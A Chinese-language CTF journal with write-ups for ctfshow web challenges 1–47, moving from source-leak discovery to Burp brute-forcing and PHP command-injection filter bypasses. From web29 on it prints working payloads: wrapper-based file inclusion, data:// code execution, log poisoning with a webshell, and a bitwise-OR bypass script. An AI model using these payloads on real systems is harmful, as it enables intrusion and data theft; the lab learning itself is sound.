4.21-4.27周记
碎碎念
预备web手,启动!
ctfshow - web入门 - web1
知识点省流
网页源代码
WP
靶机源代码中的注释藏了flag
ctfshow - web入门 - web2
知识点省流
网页源代码但不能按f12
WP
还是藏在源代码,但是限制了f12、右键等一些操作
用ctrl+u
或者view-source:
可以查看
ctfshow - web入门 - web3
知识点省流
网页请求头信息
WP
查看网页源码发现没内容,在开发者工具的network里看看网页的请求头信息,找到了flag
ctfshow - web入门 - web4
知识点省流
robots.txt文件泄漏
WP
根据题目信息直接访问robots.txt,其展示了该靶机不让爬取的内容/flagishere.txt
访问该内容得到flag
ctfshow - web入门 - web5
知识点省流
phps源码泄露
WP
根据题目信息,访问index.phps
得到源码,打开看到flag
ctfshow - web入门 - web6
知识点省流
WP
解压源码到当前目录,测试正常,收工
题目提示了解压,猜测是www.zip源码泄露,访问www.zip
得到一个zip文件,里面有一个假flag,但是源码告诉我们flag在fl000g.txt
中
直接访问即可(虚晃你一下)
ctfshow - web入门 - web7
知识点省流
.git源码泄露
WP
版本控制很重要,但不要部署到生产环境更重要。
题目信息提示我们是.git源码泄露(版本控制显然是跟仓库相关的,那就是git了,Git是一个开源的分布式版本控制系统),访问.git目录即可
ctfshow - web入门 - web8
知识点省流
svn源码泄露
WP
与上题类似,不过是svn源码泄(SVN是一个开放源代码的版本控制系统)
ctfshow - web入门 - web9
知识点省流
vim缓存信息泄露
WP
发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
题目信息提示了vim,而且还说死机了,指向了vim缓存信息泄露,访问/index.php.swp
会下载一个文件,打开得到flag
知识补充:
ctfshow - web入门 - web10
知识点省流
cookie
WP
cookie 只是一块饼干,不能存放任何隐私数据
根据题目信息可以知道flag藏在cookie里面,在开发者工具里找一下就好(顺带一下%7B是{
)
ctfshow - web入门 - web11
知识点省流
域名txt记录泄露
WP
没搜索出来,不知道是怎么个情况,反正就是dns查询txt记录会找到flag
ctfshow - web入门 - web12
知识点省流
robots源码泄露+页面信息泄露
WP
开始有点实战感觉了,dirsearch一下,发现有robots泄露,还有个admin页面(robots泄露也是指向这个)
但是访问admin需要密码,根据hint,密码就在页面最下面
然后访问admin页面得到flag
ctfshow - web入门 - web13
知识点省流
页面泄露
WP
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
根据题目信息,在网页最下方发现一个document
点开后打开一个文档,然后访问后台即可得到flag
ctfshow - web入门 - web14
知识点省流
emm路径泄露
WP
dirsearch靶机,发现了editor这个路由
进去后可以看到有一个图片上传功能,在里面可以查看服务器的目录
在网站的源目录可以找到一个nothinghere目录,里面有一个fl000g.txt
文件
访问对应路径即可得到flag
ctfshow - web入门 - web15
知识点省流
WP
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
dirsearch扫到admin,但是不知道密码(用户名是admin),但是有忘记密码的选项,需要我们知道作者的所在地
根据题目信息可以在最下方找到邮箱信息
用qq可以搜到作者在西安,修改密码后登录得到flag
ctfshow - web入门 - web16
知识点省流
雅黑php探针
WP
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
题目信息提示考察的是php探针,访问tz.php(雅黑php探针的访问路径是tz.php),在里面打开phpinfo
在phpinfo里找到flag
ctfshow - web入门 - web17
知识点省流
sql文件备份泄露
WP
dirsearch靶机,发现有一个backup.sql文件可以访问,访问下载该文件,打开得到flag
ctfshow - web入门 - web18
知识点省流
前端js分析(web小游戏经典)
WP
打开靶机看见是web小游戏,极大概率就是看js,查看源码发现有一个js文件
查看其内容,在最下面发现一串可疑的unicode字符串
丢给随波(厨子解不出来,可能是因为中文),解出来一个hint,让我们去110.php
看看
访问一下得到flag
ctfshow - web入门 - web19
知识点省流
前端泄露+aes加密
WP
密钥什么的,就不要放在前端了
根据题目信息,查看网页源代码,发现放了密码相关的内容,不难看出来前端对用户输入的密码进行了加密处理,当加密后的值等于a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
时输出flag,不难看出这里是aes-cbc加密
厨子处理一下得到密码
登录成功得到flag
ctfshow - web入门 - web20
知识点省流
mdb文件泄露
WP
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
根据题目信息可以知道是mdb文件泄露,dirsearch靶机,发现有一个db路径可以访问,带上db接着dirsearch,可以扫到一个mdb文件
访问后下载得到该文件,用notepad打开搜索ctfshow即可得到flag
ctfshow - web入门 - web21
知识点省流
bp抓包爆破
WP
打开靶机发现需要我们填写用户名和密码,用bp抓包看看,可以看到请求头里有一个Authorization
值,而最后跟的字符串不难看出是base64字符串
解码后发现内容是输入的username:password
而题目还给了一个爆破字典,所以我们用bp自带的功能爆破一下,payloads里面设置类型为自定义爆破,第一列设置为admin,分隔符为:
,第二列则导入字典,然后在payload processing中设置base64编码和取消url编码即可,然后开始爆破(用汉化版的bp会报错,所以换了英文的),爆破成功后查看回显得到flag
ctfshow - web入门 - web22
知识点省流
子域名爆破
WP
用子域名扫描器扫描给的域名,但是子域名好像失效了,所以pass(https://scan.javasec.cn/找了个在线扫描)
ctfshow - web入门 - web23
知识点省流
get传参爆破
WP
靶机里给出了源码,要求我们用GET方式传入符合格式的token值即可输出flag,要求如下
token值的md5符合如下条件:
$token[1] === $token[14] === $token[17]
$token[1] 必须是数字字符(0~9) (因为分子不为0)
(3 * intval($token[1])) / intval($token[1]) === intval($token[31])
=> 即:token[31] == 3
所以简单进行爆破即可(不能用bp爆破,因为其响应码和长度都是一样的),让gpt写个python脚本
import requests
def brute():
url = "http://cabbfdfc-62cb-4bef-bc3d-99e2cb47993e.challenge.ctf.show"
print('爆破开始!')
for i in range(100000):
try:
if i % 50 == 0 and i != 0:
print('已爆破50轮,暂未成功,继续爆破,当前值为:'+str(i))
response = requests.get(url, params={'token': str(i)})
if 'ctfshow' in response.text:
print('当前轮次:' + str(i))
print('爆破成功,flag为 ———— ' + response.text)
break
except:
print('gg')
if __name__ == '__main__':
brute()
# print(response.text)
ctfshow - web入门 - web24
知识点省流
伪随机数
WP
代码审计,当通过get方式传参传入的值与mt_srand()函数生成的随机数相同时则输出flag
这里的mt_srand()函数固定了随机种子,所以直接把这个值输出出来传入即可得到flag
ctfshow - web入门 - web25
知识点省流
mt_rand伪随机爆破
WP
再说
ctfshow - web入门 - web26
知识点省流
bp弱密码爆破
WP
用bp抓包爆破数据库密码即可
ctfshow - web入门 - web27
知识点省流
bp日期爆破
WP
进入靶机发现有一个录取名单
打开可以得到一些学生信息,其中有他们的身份证
而靶机中还能看到一个学籍信息查询系统,可以通过姓名和身份证查询
用bp抓包然后爆一下身份证
爆破成功后查询得到学号和身份证,登录得到密码
ctfshow - web入门 - web28
知识点省流
bp集束炸弹爆破
WP
进入靶机会发现其路径很奇怪,套了两层,实际上是要爆破flag具体所在的路径
用bp抓包,然后爆破两个目录即可(用集束炸弹cluster bomb),根据hint从0-100爆破即可
ctfshow - web入门 - web29
知识点省流
ez命令执行
WP
进入靶机开始代码审计,不难看出进行了正则判断,如果判断到flag则不执行参数c的命令(/i指忽略大小写)
可以看到有eval函数,所以传入system('command');去执行我们要执行的系统命令
先传入ls看看目录有什么,看到有flag.php,显然flag在里面,但是我们不能直接输入flag
方法很多了,用通配符绕过一下即可
cat f* (cat看不到内容是因为被注释了,看看源码就有了
tac f*
more f*
grep ctfshow f*
ctfshow - web入门 - web30
知识点省流
passthru函数执行系统命令+某些绕过
WP
可以看到这题把system和php也给ban了,那就得想办法用别的函数或者绕过来执行系统命令
这里可以用passthru去执行系统命令,使用方法与system相同
当然还有其他解法,比如用exec将flag.php复制到另一个文档,然后直接访问这个文档
或者传入以下值
echo `nl fl''ag.p''hp`; # linux里,``内的字符会当做命令执行
ctfshow - web入门 - web31
知识点省流
%09绕过空格限制
WP
打开靶机审计代码,可以看到flag/system/php/cat/sort/shell/./ (空格)
都被过滤了
system可以用passthru绕过,cat可以用tac绕过,而空格则可以用%09绕过(tab的url编码)
?c=passthru("tac%09f*");
ctfshow - web入门 - web32
知识点省流
php伪协议+文件包含+日志注入
WP
这次过滤的内容更多了flag/system/php/cat/sort/shell/./ /echo/;/(/单引号
,所以前面的payload都不好使了
这里需要通过文件包含漏洞配合文件包含读取flag.php的内容,payload如下,可以读取到flag.php的base64编码数据,丢给厨子解码即可
?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
%09绕过空格过滤
include $_GET[1] 文件包含漏洞
?>绕过;过滤
php://filter php伪协议,对打开的数据流进行筛选过滤
read=convert.base64-encode 通过base64编码读取数据
resource=flag.php 读取的文件是flag.php
为什么1不能直接等于flag.php,因为flag.php直接被include读取时会被当做php代码执行,从而无法获取里面的内容
但是,如果我们并不知道flag.php的位置怎么办,这时候就可以用到日志注入
一样通过文件包含漏洞,读取nginx的访问日志(默认位置是/var/log/nginx/access.log)
?c=include%09$_GET[1]?>&1=../../../../../var/log/nginx/access.log
然后用bp抓包,在user-agent头里加上一句话木马,在最后蚁剑连接这个路径即可访问到服务器了,找到flag.php即可
ctfshow - web入门 - web33
知识点省流
php伪协议+文件包含+日志注入
WP
跟上题差不多,多过滤了一个双引号,一样用php伪协议+文件包含就好,payload一样
ctfshow - web入门 - web34
知识点省流
php伪协议+文件包含+日志注入
WP
跟上题差不多,多过滤了一个冒号,一样用php伪协议+文件包含就好,payload一样
ctfshow - web入门 - web35
知识点省流
php伪协议+文件包含+日志注入
WP
跟上题差不多,多过滤了一个=
和<
号,一样用php伪协议+文件包含就好,payload一样
ctfshow - web入门 - web36
知识点省流
php伪协议+文件包含+日志注入
WP
老样子多了一些过滤,过滤了/
和数字,所以文件包含的时候不能传1了,修改一下payload即可
?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow - web入门 - web37
知识点省流
data伪协议
WP
打开靶机,题目发生了变化,过滤变少了,只过滤flag,but过它居然帮我们把文件包含include给写到源码里面去了,他这波操作直接导致我们没办法使用之前的payload绕过了(因为用php伪协议的话最后是要跟flag.php的)
这里需要用另一种伪协议,data,它允许我们通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
协议格式: data:资源类型;编码,内容
所以我们可以用data执行php命令,payload如下
?c=data://text/plain,<?php system("tac f*")?>
ctfshow - web入门 - web38
知识点省流
data伪协议+base64编码
WP
跟上题差不多,不过过滤了php,那我们可就不能用php命令去执行了
但是data伪协议还支持进行编码,所以我们可以将php脚本进行base64加密后再传入
?c=data://text/plain;base64,PD9waHAKCXN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
ctfshow - web入门 - web39
知识点省流
data伪协议
WP
又有了一些变化,include函数里面拼接了".php",可以限制php伪协议,但这不影响data伪协议,因为data伪协议传入时已经当做代码执行了
所以直接用前两题的payload都行
?c=data://text/plain,<?php system("tac f*")?>
ctfshow - web入门 - web40
知识点省流
无参命令执行
WP
这次过滤又变多了,即便如此,可以看到英文、下划线和英文括号(过滤的是中文括号)是可以用的,所以这里其实是要用一些函数去想办法读取flag.php的内容
?c=show_source(next(array_reverse(scandir(getcwd()))));
?c=print_r(next(array_reverse(scandir(getcwd()))));
?c=highlight_file(next(array_reverse(scandir(getcwd()))));
getcwd() ——> 获取当前目录
scandir() ——> 扫描指定目录的文件
array_reverse() ——> 数组倒置
next() ——> 使函数指向第二个数据
show_source() ——> 查看文件内容
ctfshow - web入门 - web41
知识点省流
按位或|
绕过
WP
这题过滤了数字/字母/^/+/~/$/[/]/{/}/&/-
,大小写字母和数字都没了,基本就说明需要我们构造对应的命令字符串去绕过限制了,而这题里面按位与&
,按位异或^
,取反~
都被过滤了,而按位或|
反而还可以用
所以就是需要用按位或,将没被过滤的字符按位或得到我们要的命令,然后传入即可
这里找了个大佬的脚本跑
import re
import requests
url="http://ba4ba572-e207-4303-b1e7-089212133199.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="cat flag.php" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
print(data1)
print(data2)
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
ctfshow - web入门 - web42
知识点省流
%0a截断
WP
这次源码中直接将c用system执行了,而且没有过滤,所以可以直接传入cat flag.php
,但是后面可以看到拼接了>/dev/null 2>&1
,说人话就是会将输出清除(重定向到null去了)
这里可以用%0a截断一下(url解码就是回车)
ctfshow - web入门 - web43
知识点省流
%0a截断
WP
跟上题差不多,不过把cat和冒号过滤了,用别的就好了
ctfshow - web入门 - web44
知识点省流
%0a截断
WP
老样子,跟上题一个payload
?c=tac f*%0a
ctfshow - web入门 - web45
知识点省流
%09 %0a过滤
WP
空格被过滤了,用%09绕过(或者IFS9),最后%0a截断(也可以用||
)
?c=tac%09f*%0a
ctfshow - web入门 - web46
知识点省流
?绕过 unicode编码绕过
WP
可以看到过滤了很多内容,其中比较关键的是数字,*,$
但事实上%0a %09这些绕过还能用(因为其实是unicode编码),然后不能用*我们就用?去代替即可
?c=tac%09fla?.php%0a
ctfshow - web入门 - web47
知识点省流
?绕过 unicode编码绕过
WP
与上一题一个payload(全是无效限制